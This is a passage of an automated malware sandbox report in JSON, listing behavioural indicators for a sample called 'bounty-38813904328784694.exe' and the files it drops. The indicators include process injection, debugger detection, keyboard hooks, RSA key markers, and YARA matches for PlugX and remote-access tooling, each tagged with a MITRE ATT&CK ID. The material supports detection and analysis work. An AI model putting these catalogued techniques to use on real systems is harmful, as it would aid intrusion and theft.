\"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-116","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host name of a computer (API string)","description":"Found reference to API \"gethostname\" (Indicator: \"gethostname\"; File: \"bounty-38813904328784694\")\n Found reference to API \"gethostname\" (Indicator: \"gethostname\"; Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")\n Found reference to API \"gethostname\" (Indicator: \"gethostname\"; Source: \"00000000-00004328.00000000.294363.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-532","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the local name for a socket (API string)","description":"Found reference to API \"getsockname\" (Indicator: \"getsockname\"; File: \"bounty-38813904328784694\")\n Found reference to API \"getsockname\" (Indicator: \"getsockname\"; Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")\n Found reference to API \"getsockname\" (Indicator: \"getsockname\"; Source: \"00000000-00004328.00000000.294363.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-224","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$58","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports DsRoleGetPrimaryDomainInformation API","description":"Observed import api \"DsRoleGetPrimaryDomainInformation\" which can \"retrieve state data for the computer\" [Source: svchost015.exe]","origin":"Static Parser","mitre_attack_id":"T1082","relevance":1,"id":"static-89","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"Found string \"SELECT ChassisTypes FROM Win32_SystemEnclosure\" (Indicator: \" Win32_SystemEnclosure\"; File: \"00000000-00004244.00000000.294654.003E1000.00000020.mdmp\")\n Found string \"SELECT ChassisTypes FROM Win32_SystemEnclosure\" (Indicator: \" Win32_SystemEnclosure\"; Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"$59","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"System Security","name":"Contains ability to hook/unhook windows functions (API string)","description":"Found reference to API \"CallNextHookEx\" (Indicator: \"CallNextHook\"; File: \"bounty-38813904328784694\")\n Found reference to API \"SetWindowsHookExA\" (Indicator: \"SetWindowsHook\"; File: \"bounty-38813904328784694\")\n Found reference to API \"UnhookWindowsHookEx\" (Indicator: \"UnhookWindowsHook\"; File: \"bounty-38813904328784694\")\n Found reference to API \"SetWindowsHookExW\" (Indicator: \"SetWindowsHook\"; File: \"bounty-38813904328784694\")\n Found reference to API \"CallNextHookEx\" (Indicator: \"CallNextHook\"; Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")\n Found reference to API \"UnhookWindowsHookEx\" (Indicator: \"UnhookWindowsHook\"; Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")\n Found reference to API \"SetWindowsHookExW\" (Indicator: \"SetWindowsHook\"; Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-91","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; File: \"bounty-38813904328784694\")\n Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; File: \"bounty-38813904328784694\")\n Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"$5a","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"System Security","name":"Contains reference to Hijacked CLSID(s)","description":"Observed string: \"CLSID\\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27}\" (Indicator: \"{1299CF18-C4F5-4B6A-BB0F-2299F0398E27}\") in Source: 00000000-00003004.00000001.295249.003C7000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1546.015","relevance":1,"id":"string-342","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"bounty-38813904328784694.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to free the memory used by network management functions (API string)","description":"Found reference to API \"NetApiBufferFree\" (Indicator: \"NetApiBufferFree\"; File: \"bounty-38813904328784694\")\n Found reference to API \"NetApiBufferFree\" (Indicator: \"NetApiBufferFree\"; Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-223","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Unusual Characteristics","name":"Found Delphi 4 - Delphi 2006 artifact","description":"\"3e79d3cef1.exe\" has a PE timestamp using the buggy magic timestamp 0x2A425E19. The real compilation date is probably Thu Jan 1 00:00:00 1970","origin":"Static Parser","relevance":10,"id":"static-19","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Tries to detect debugger using ProcessDebugPort","description":"\"svchost015.exe queries ProcessDebugPort (UID: 4244)","origin":"API Call","mitre_attack_id":"T1622","relevance":5,"id":"api-238","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"FindResourceA@KERNEL32.DLL at 00000000-00004328-8512-38-0041C0E4\n FindResourceA@KERNEL32.DLL at 00000000-00004328-8512-1379-004196FC\n FreeResource@KERNEL32.DLL at 00000000-00004328-8512-3533-0041C150","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1005","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - RMM tools","description":"YARA signature to detect vncconnect RMM tool file \"svchost015.exe\"","origin":"YARA Signature","mitre_attack_id":"T1219","relevance":5,"id":"yara-557","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match – Public-private key pair","description":"YARA signature for public-private key pair used in process \"00000000-00004244\"\n YARA signature for public-private key pair used in file \"svchost015.exe\"","origin":"YARA Signature","mitre_attack_id":"T1573","relevance":2,"id":"yara-122","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Contains ability to update the user profile","description":"SystemParametersInfoA@USER32.DLL at 00000000-00004328-8512-1674-00428490\n SystemParametersInfoA@USER32.DLL at 00000000-00004328-8512-1675-00428564\n SystemParametersInfoA@USER32.DLL at 00000000-00004328-8512-1676-00428638\n SystemParametersInfoA@USER32.DLL at 00000000-00004328-8512-1960-0043B130\n SystemParametersInfoA@USER32.DLL at 00000000-00004328-8512-2076-00450B00\n SystemParametersInfoA@USER32.DLL at 00000000-00004328-8512-2084-0043E430\n SystemParametersInfoA@USER32.DLL at 00000000-00004328-8512-2085-0043E3B0\n SystemParametersInfoA@USER32.DLL at 00000000-00004328-8512-2173-00444A00\n SystemParametersInfoA@USER32.DLL at 00000000-00004328-8512-2376-004510C0\n SystemParametersInfoA@USER32.DLL at 00000000-00004328-8512-2393-004513A0\n SystemParametersInfoA@USER32.DLL at 00000000-00004328-8512-2394-00451370","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1098","relevance":5,"id":"stream-123","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"Found string \"ROOT\\CIMV2\" (Indicator: \"root\\cimv2\"; in File: \"00000000-00004244.00000000.294654.003E1000.00000020.mdmp\")\n Found string \"ROOT\\CIMV2\" (Indicator: \"root\\cimv2\"; in Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"}]},{"level":"malicious","category":"Cryptographic Related","name":"Able to use RSA keys for encryption and decryption","description":"Found RSA private key marker \"-----END RSA PRIVATE KEY-----\" in \"-----END RSA PRIVATE KEY-----\" (File: \"00000000-00004244.00000000.294654.003E1000.00000020.mdmp\")\n Found RSA private key marker \"-----BEGIN RSA PRIVATE KEY-----\" in \"-----BEGIN RSA PRIVATE KEY-----\" (File: \"00000000-00004244.00000000.294654.003E1000.00000020.mdmp\")\n Found RSA private key marker \"-----BEGIN RSA PRIVATE KEY-----\" in \"-----BEGIN RSA PRIVATE KEY-----\" (Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")\n Found RSA private key marker \"-----END RSA PRIVATE KEY-----\" in \"-----END RSA PRIVATE KEY-----\" (Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.001","relevance":6,"id":"string-799","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"}]},{"level":"malicious","category":"Installation/Persistence","name":"Allocates virtual memory in a remote process","description":"\"bounty-38813904328784694.exe\" allocated memory in \"C:\\bounty-38813904328784694.exe\"\n \"3e79d3cef1.exe\" allocated memory in \"%TEMP%\\10734390101\\3e79d3cef1.exe\"","origin":"API Call","mitre_attack_id":"T1055","relevance":7,"id":"api-20","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to remove a directory","description":"\"bounty-38813904328784694.exe\" called \"RemoveDirectoryA\" with parameter %TEMP%\\10734360101 (UID: 00000000-00004552)","origin":"API Call","mitre_attack_id":"T1070.004","relevance":3,"id":"api-121","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to utilize the Windows bcrypt cryptographic API","description":"Found reference to API \"BCryptOpenAlgorithmProvider\" (Indicator: \"BCryptOpenAlgorithmProvider\"; Source: \"00000000-00002488-00000C2B-3294991105\")\n Found reference to API \"BCryptImportKeyPair\" (Indicator: \"BCryptImportKey\"; Source: \"00000000-00002488-00000C2B-3295845238\")\n Found reference to API \"BCryptDestroyKey\" (Indicator: \"BCryptDestroyKey\"; Source: \"00000000-00002488-00000C2B-3295846318\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-927","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains references to RC4 cryptographic API (string)","description":"Found reference to API \"SystemFunction032\" (Indicator: \"systemfunction032\"; Source: \"00000000-00002728-00000C2B-3341272722\")\n Found reference to API \"SystemFunction033\" (Indicator: \"systemfunction033\"; Source: \"00000000-00002728-00000C2B-3341273278\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-897","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access user sensitive domain","description":"file/memory contains long string with (Indicator: \"youtube.com\"; Source: \"00000000-00000884.00000001.276359.00341000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1590","relevance":1,"id":"string-761","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to list processes on remote desktop session host","description":"Found reference to API \"ProcessIdToSessionId\" (Indicator: \"ProcessIdToSessionId\"; Source: \"00000000-00001276-00000C2B-3345699591\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-906","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to open an existing named mutex object","description":"$5b","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-144","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"ojjvpn1.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00002728)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query local/system time as file time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00005752-10826-586-00F5627A","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1070.006","relevance":1,"id":"stream-71","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"level":"informative","category":"General","name":".rdata section contains high entropy","description":"\"xO50QoO.exe\" has section name .rdata with entropy \"6.468262038426614\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-187","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$5c","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$5d","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Contains ability to register hotkeys","description":"RegisterHotKey@USER32.DLL at 00000000-00005752-10826-2044-00EF1E95","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1547.009","relevance":5,"id":"stream-15","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"level":"informative","category":"General","name":"Contains ability to register hotkeys (API string)","description":"Found reference to API \"RegisterHotKey U\" (Indicator: \"RegisterHotKey\"; File: \"00000000-00005752.00000001.275263.00E81000.00000020.mdmp\")\n Found reference to API \"RegisterHotKey O\" (Indicator: \"RegisterHotKey\"; File: \"00000000-00005752.00000001.275263.00E81000.00000020.mdmp\")\n Found reference to API \"RegisterHotKey\" (Indicator: \"RegisterHotKey\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1547.009","relevance":1,"id":"string-545","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"svchost015.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"771eb22c64.exe\" searching for class \"OLLYDBG\"\n \"771eb22c64.exe\" searching for class \"GBDYLLO\"\n \"771eb22c64.exe\" searching for class \"pediy06\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to lookup the windows account name","description":"GetUserNameExA@SSPICLI.DLL at 00000000-00004552-6539-871-013BDED0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1033","relevance":5,"id":"stream-28","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to send the specified request to the HTTP server","description":"$5e","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-190","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to to receive the response to a HTTP requests","description":"\"rrr2ITl.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"28ce08\"\n \"lpReserved\": \"0\"}\n \"gZ3dBvj.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"54ce68\"\n \"lpReserved\": \"0\"}\n \"771eb22c64.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"13f0e8\"\n \"lpReserved\": \"0\"}\n \"2e447e8ad7.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"2cdfb0\"\n \"lpReserved\": \"0\"}\n \"rrr2ITl.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"39be18\"\n \"lpReserved\": \"0\"}\n \"gZ3dBvj.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"5bd670\"\n \"lpReserved\": \"0\"}","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-191","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"Found mail related domain names","description":"Observed email domain:\"www.mail.google.com0\" [Source: 00000000-00000884.00000001.276359.002E9000.00000004.mdmp]","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-169","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"HTTP requests contain custom Base62 strings","description":"Contains base62 string in header \"MFEwTzBNMEswSTAJBgUrDgMCGgUABBRTQ\" in header \"GET /wr2/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEFg%2BsKhSk7yWEFGWPQSIifs%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: o.pki.goog\"\n Contains base62 string in header \"MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V\" in header \"GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog\"","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-78","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"drive.usercontent.google.com\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"drive.usercontent.google.com\" (83 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PE executable embedded in .rsrc section","description":"YARA signature for embedded PE executable in .rsrc section matched on file \"xO50QoO_1_.exe\"\n YARA signature for embedded PE executable in .rsrc section matched on file \"xO50QoO.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027.009","relevance":5,"id":"yara-26","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PlugX malware custom PEB traversal","description":"YARA signature to detect PlugX malware custom PEB traversal file \"gZ3dBvj.exe\"\n YARA signature to detect PlugX malware custom PEB traversal file \"gZ3dBvj_1_.exe\"\n YARA signature to detect PlugX malware custom PEB traversal file \"rrr2ITl.exe\"\n YARA signature to detect PlugX malware custom PEB traversal file \"rrr2ITl_1_.exe\"\n YARA signature to detect PlugX malware custom PEB traversal file \"jSR21kp_1_.exe\"\n YARA signature to detect PlugX malware custom PEB traversal file \"jSR21kp.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027.007","relevance":9,"id":"yara-575","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Embedded PE executable","description":"YARA signature matched on embedded PE in file \"xO50QoO_1_.exe\"\n YARA signature matched on embedded PE in file \"xO50QoO.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027.009","relevance":2,"id":"yara-140","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to determine the valid logical drives on the computer","description":"Found string \"GetLogicalDriveStringsA\" (Indicator: \"getlogicaldrivestringsa\"; Source: \"00000000-00002728-00000C2B-3341171193\")\n Found string \"GetLogicalDriveStringsW\" (Indicator: \"getlogicaldrivestringsw\"; Source: \"00000000-00002728-00000C2B-3341172646\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-730","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve token privileges information (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-437","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"System Destruction","name":"Contains ability to lock the workstation's display (API string)","description":"Found reference to API \"[HK] LockWorkStation\" (Indicator: \"LockWorkStation\"; File: \"00000000-00005752.00000001.275263.00E81000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1499","relevance":1,"id":"string-221","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"System Security","name":"Able to change the configuration parameters of a service","description":"Found string \"ChangeServiceConfigA\" (Indicator: \"changeserviceconfiga\"; Source: \"00000000-00002728-00000C2B-3341270138\")\n Found string \"ChangeServiceConfigW\" (Indicator: \"changeserviceconfigw\"; Source: \"00000000-00002728-00000C2B-3341270734\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-10073","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"SeShutdownPrivilege\" (Indicator: \"SeShutdownPrivilege\"; File: \"00000000-00005752.00000001.275263.00E81000.00000020.mdmp\")\n Found reference to API \"LookupPrivilegeValueW\" (Indicator: \"LookupPrivilegeValue\"; File: 